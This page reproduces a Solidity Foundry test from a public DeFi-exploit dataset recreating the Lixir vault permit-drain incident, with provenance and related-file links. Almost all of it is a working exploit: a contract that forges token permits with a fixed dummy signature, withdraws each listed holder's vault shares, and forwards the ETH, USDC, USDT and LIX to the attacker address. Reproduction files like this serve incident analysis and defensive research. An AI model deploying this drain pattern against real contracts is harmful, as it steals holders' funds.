Public reproduction file
src/test/2026-06/LixirPermitDrain_exp.sol
Public reproduction file for dataset entry LixirPermitDrain.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 2.60 ETH, 4,477.72 USDC, 3,609.95 USDT, 24,182.56 LIX8// Attacker : 0x3Fa8cF7FeA68C8E76A9838d77889464DdFb6a6cf9// Attack Contract : 0xEFd1b12F5E3c35D7daE0D1449674C247566f9b7610// Vulnerable Contract : 0xfD4c9a491DD777b8b3e13659e9E379252eC78390; 0x49bba4C5C4F8a2D444Ca5fDA1b3137D94Df40465; 0xF4AF7Ae20EB7334Cbdf334EaF850e7DB42394839;11// 0xC870d944Dd883f25a1b7B3312bc2449DD5B0267d; 0xF4aAda01bF9d44FE0D03a6b2Fa6519E3d7325556; 0xecC2b0296EaE113a114CcB9F8846A7852545DC5812// Attack Tx : https://etherscan.io/tx/0x17026faca0b8e4cb7531e4fb277c390eb165e81229628e0192923ad1d90a41da14// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0xfD4c9a491DD777b8b3e13659e9E379252eC78390#code17// @Analysis18// Twitter Guy : https://x.com/DefimonAlerts/status/207036266169120793519//20// Lixir vault-token permits accepted a dummy signature as long as ecrecover returned a nonzero address.21// The attacker used the forged permit allowance to withdraw each holder's full vault-token balance.23address constant ATTACKER = 0x3Fa8cF7FeA68C8E76A9838d77889464DdFb6a6cf;24address constant HISTORICAL_ATTACK_CONTRACT = 0xEFd1b12F5E3c35D7daE0D1449674C247566f9b76;25address constant BLOCK_MINER = 0x4838B106FCe9647Bdf1E7877BF73cE8B0BAD5f97;27address constant TOKEN_USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;28address constant TOKEN_USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;29address constant TOKEN_LIX = 0xd0345D30FD918D7682398ACbCdf139C808998709;31address constant LV_WETH_USDC_A = 0xfD4c9a491DD777b8b3e13659e9E379252eC78390;32address constant LV_LIX_WETH_A = 0x49bba4C5C4F8a2D444Ca5fDA1b3137D94Df40465;33address constant LV_WETH_USDC_B = 0xF4AF7Ae20EB7334Cbdf334EaF850e7DB42394839;34address constant LV_LIX_WETH_B = 0xC870d944Dd883f25a1b7B3312bc2449DD5B0267d;35address constant LV_USDC_USDT_A = 0xF4aAda01bF9d44FE0D03a6b2Fa6519E3d7325556;36address constant LV_USDC_USDT_B = 0xecC2b0296EaE113a114CcB9F8846A7852545DC58;38interface ILixirVaultToken {39 function balanceOf(40 address owner41 ) external view returns (uint256);42 function permit(43 address owner,44 address spender,45 uint256 value,46 uint256 deadline,47 uint8 v,48 bytes32 r,49 bytes32 s50 ) external;51 function withdrawETHFrom(52 address owner,53 uint256 shares,54 uint256 minAmount0,55 uint256 minAmount1,56 address to,57 uint256 deadline58 ) external returns (uint256 amount0, uint256 amount1);59 function withdrawFrom(60 address owner,61 uint256 shares,62 uint256 minAmount0,63 uint256 minAmount1,64 address to,65 uint256 deadline66 ) external returns (uint256 amount0, uint256 amount1);67}69contract ContractTest is BaseTestWithBalanceLog {70 function setUp() public {71 uint256 forkBlock = 25_391_315;72 vm.createSelectFork("mainnet", forkBlock);73 vm.coinbase(BLOCK_MINER);75 attacker = ATTACKER;76 multiAssetLog = true;77 _addFundingToken(address(0));78 _addFundingToken(TOKEN_USDC);79 _addFundingToken(TOKEN_USDT);80 _addFundingToken(TOKEN_LIX);82 vm.label(ATTACKER, "Attacker");83 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");84 vm.label(BLOCK_MINER, "Block beneficiary");85 vm.label(TOKEN_USDC, "USDC");86 vm.label(TOKEN_USDT, "USDT");87 vm.label(TOKEN_LIX, "LIX");88 vm.label(LV_WETH_USDC_A, "Lixir lv_WETH-USDC A");89 vm.label(LV_LIX_WETH_A, "Lixir lv_LIX-WETH A");90 vm.label(LV_WETH_USDC_B, "Lixir lv_WETH-USDC B");91 vm.label(LV_LIX_WETH_B, "Lixir lv_LIX-WETH B");92 vm.label(LV_USDC_USDT_A, "Lixir lv_USDC-USDT A");93 vm.label(LV_USDC_USDT_B, "Lixir lv_USDC-USDT B");94 }96 function testExploit() public balanceLog {97 uint256 attackerEthBefore = ATTACKER.balance;98 uint256 attackerUsdcBefore = IERC20(TOKEN_USDC).balanceOf(ATTACKER);99 uint256 attackerUsdtBefore = IERC20(TOKEN_USDT).balanceOf(ATTACKER);100 uint256 attackerLixBefore = IERC20(TOKEN_LIX).balanceOf(ATTACKER);101 uint256 minerEthBefore = BLOCK_MINER.balance;103 // step 1: deploy a fresh helper that performs the forged-permit drain during construction.104 vm.prank(ATTACKER);105 LixirPermitDrain drain = new LixirPermitDrain(payable(ATTACKER));106 vm.label(address(drain), "Local drain helper");108 // step 2: prove the same final profit path as the trace.109 assertGt(ATTACKER.balance, attackerEthBefore, "attacker ETH profit");110 assertGt(IERC20(TOKEN_USDC).balanceOf(ATTACKER), attackerUsdcBefore, "attacker USDC profit");111 assertGt(IERC20(TOKEN_USDT).balanceOf(ATTACKER), attackerUsdtBefore, "attacker USDT profit");112 assertGt(IERC20(TOKEN_LIX).balanceOf(ATTACKER), attackerLixBefore, "attacker LIX profit");113 assertEq(BLOCK_MINER.balance - minerEthBefore, 0.015 ether, "builder payment");114 }115}117contract LixirPermitDrain {118 uint8 private constant V = 28;119 bytes32 private constant R = 0xe7C93726a865578504442b1A6827f676E0ED74BDff2be3960d1e253bbcfc4462;120 bytes32 private constant S = 0x6AA772b878Bc912BdBB33a0014eC507c4B3896ea85aa914b74dee9b7ac3e56da;122 receive() external payable {}124 constructor(125 address payable receiver126 ) {127 // step 1: drain WETH-bearing vaults with forged permits, receiving unwrapped ETH plus ERC20 assets.128 _drainETHVault(LV_WETH_USDC_A, _lvWethUsdcAHolders());129 _drainETHVault(LV_LIX_WETH_A, _lvLixWethAHolders());130 _drainETHVault(LV_WETH_USDC_B, _lvWethUsdcBHolders());131 _drainETHVault(LV_LIX_WETH_B, _lvLixWethBHolders());133 // step 2: drain USDC-USDT vaults with the non-ETH withdraw function.134 _drainVault(LV_USDC_USDT_A, _lvUsdcUsdtAHolders());135 _drainVault(LV_USDC_USDT_B, _lvUsdcUsdtBHolders());137 // step 3: forward proceeds through the same receiver path observed in the trace.138 _safeTransferAll(TOKEN_USDC, receiver);139 _safeTransferAll(TOKEN_USDT, receiver);140 _safeTransferAll(TOKEN_LIX, receiver);142 (bool coinbasePaid,) = block.coinbase.call{value: 0.015 ether}("");143 require(coinbasePaid, "coinbase payment failed");145 (bool ethForwarded,) = receiver.call{value: address(this).balance}("");146 require(ethForwarded, "eth forwarding failed");147 }149 function _drainETHVault(150 address vault,151 address[] memory holders152 ) private {153 for (uint256 i = 0; i < holders.length; i++) {154 uint256 shares = ILixirVaultToken(vault).balanceOf(holders[i]);155 if (shares == 0) continue;157 ILixirVaultToken(vault).permit(holders[i], address(this), shares, type(uint256).max, V, R, S);158 ILixirVaultToken(vault).withdrawETHFrom(holders[i], shares, 0, 0, address(this), type(uint256).max);159 }160 }162 function _drainVault(163 address vault,164 address[] memory holders165 ) private {166 for (uint256 i = 0; i < holders.length; i++) {167 uint256 shares = ILixirVaultToken(vault).balanceOf(holders[i]);168 if (shares == 0) continue;170 ILixirVaultToken(vault).permit(holders[i], address(this), shares, type(uint256).max, V, R, S);171 ILixirVaultToken(vault).withdrawFrom(holders[i], shares, 0, 0, address(this), type(uint256).max);172 }173 }175 function _safeTransferAll(176 address token,177 address to178 ) private {179 uint256 amount = IERC20(token).balanceOf(address(this));180 if (amount == 0) return;182 (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, amount));183 require(success && (data.length == 0 || abi.decode(data, (bool))), "token transfer failed");184 }186 function _lvWethUsdcAHolders() private pure returns (address[] memory holders) {187 holders = new address[](4);188 holders[0] = 0xD7078D619C99799E68E0b44119D6DA1C0367E43a;189 holders[1] = 0xD5Cb328f07a93BDcfbA6C701f2943F1B0B74f104;190 holders[2] = 0x4c25893dD19EBc94686A8745680457f69BCb2914;191 holders[3] = 0x9842654b567d3424fb07E1FDd18405530B3F9f5a;192 }194 function _lvLixWethAHolders() private pure returns (address[] memory holders) {195 holders = new address[](15);196 holders[0] = 0x63F75e8995c0A3B57FF5a2587BCd78D2fAF5D00D;197 holders[1] = 0x9953DA7f2161866afAAD3c844CaaeE35A262a001;198 holders[2] = 0x05AC4029c54A5622b6eF4114308CfCED60198AA3;199 holders[3] = 0xA0a06EE0418629A73FbFeBc355e48d345f5f60EF;200 holders[4] = 0x468B934CF48BB451B87EEa5654932C907F060EfE;201 holders[5] = 0x0564Ef02D9a6c0Cd54EA09a05d1075deFDb44A20;202 holders[6] = 0xA49FE5CB074F7f05EfB12c969BA5783fC8ef2Bfd;203 holders[7] = 0xb6f0439c1fcdBB9aaf64eEB9BD4F3140e95d1b5f;204 holders[8] = 0x1b1D046A1001fd6fd4d11f204c7464989d621D92;205 holders[9] = 0x929D696fEeb8cfBf823395ec2c01ef238C422Af1;206 holders[10] = 0x5229406Cbb785E7754BDD6af66b94263f1c7dAb7;207 holders[11] = 0xECA93a2B50f4819E602365fC51A295F755965b0F;208 holders[12] = 0x64Db074a4c1bd6ED38E2751Fc75A31C5f6AD4090;209 holders[13] = 0xb0487bdc8BE66895Eb1508062c73d14Bb18A88Ca;210 holders[14] = 0x71D8472C58D77F2220C333149BdF8b843C314E99;211 }213 function _lvWethUsdcBHolders() private pure returns (address[] memory holders) {214 holders = new address[](2);215 holders[0] = 0xC0Fbf0144763E822D7C6343151FD4F7383719637;216 holders[1] = 0xc341683d1Ee57b13Ab90a1FC00F38dC6F7aFdd14;217 }219 function _lvLixWethBHolders() private pure returns (address[] memory holders) {220 holders = new address[](18);221 holders[0] = 0xC0Fbf0144763E822D7C6343151FD4F7383719637;222 holders[1] = 0x4db4C33b3571C5402774790Eff5ca7763b6B792e;223 holders[2] = 0xb6f0439c1fcdBB9aaf64eEB9BD4F3140e95d1b5f;224 holders[3] = 0x929D696fEeb8cfBf823395ec2c01ef238C422Af1;225 holders[4] = 0x5229406Cbb785E7754BDD6af66b94263f1c7dAb7;226 holders[5] = 0xd07556cEB045DbDBD7d44955BcD4ccCCb5bFff47;227 holders[6] = 0x1b1D046A1001fd6fd4d11f204c7464989d621D92;228 holders[7] = 0xf68B10a37D1DdAe4278369d6aE25Ad0C6AF5Fc58;229 holders[8] = 0x184E2BC2087b97E59b6205150832471F1dA99223;230 holders[9] = 0x367f6d836962d4E9D92eD2165cF294f4DA78E4f6;231 holders[10] = 0xc92980D19E7399911f595053894408AD24380324;232 holders[11] = 0x759e7359D62F32f1899155193e2f43cD9058784c;233 holders[12] = 0x7d6D0764a87D435cFA49EdcA2A1a5571E40a2Ae4;234 holders[13] = 0x84912977B668E357198CaE78BA108B99Cff0489A;235 holders[14] = 0xCd57B34763ceF236505A505aD5e88133C23C3758;236 holders[15] = 0xd890B6F0551345B8146f66F8c329f70877c71119;237 holders[16] = 0xa150DA57fE14E1964164FD52b55759c2649c5E9A;238 holders[17] = 0x919f970311A92b6727765ad75533570AE4e8E1AC;239 }241 function _lvUsdcUsdtAHolders() private pure returns (address[] memory holders) {242 holders = new address[](1);243 holders[0] = 0xb4522eB2cA49963De9c3dC69023cBe6D53489C98;244 }246 function _lvUsdcUsdtBHolders() private pure returns (address[] memory holders) {247 holders = new address[](1);248 holders[0] = 0xC0Fbf0144763E822D7C6343151FD4F7383719637;249 }250}Analysis
Dataset entry
Public Foundry test for “LixirPermitDrain” (2026-06-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3fa8cf7fea68c8e76a9838d77889464ddfb6a6cf
- Attack Contract
0xefd1b12f5e3c35d7dae0d1449674c247566f9b76
- Vulnerable Contract
0x49bba4c5c4f8a2d444ca5fda1b3137d94df40465
- Vulnerable Contract
0xfd4c9a491dd777b8b3e13659e9e379252ec78390
- Attack Tx
0x17026faca0b8e4cb7531e4fb277c390eb165e81229628e0192923ad1d90a41da
File record
- Name
- LixirPermitDrain
- Path
- src/test/2026-06/LixirPermitDrain_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 46e17873d87b35fb3531767caf0b0d08f7a4ebdf
- Language
- Solidity
- Size
- 251 lines
- Date
- 2026-06-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/LixirPermitDrain_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 46e17873d87b35fb3531767caf0b0d08f7a4ebdf, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.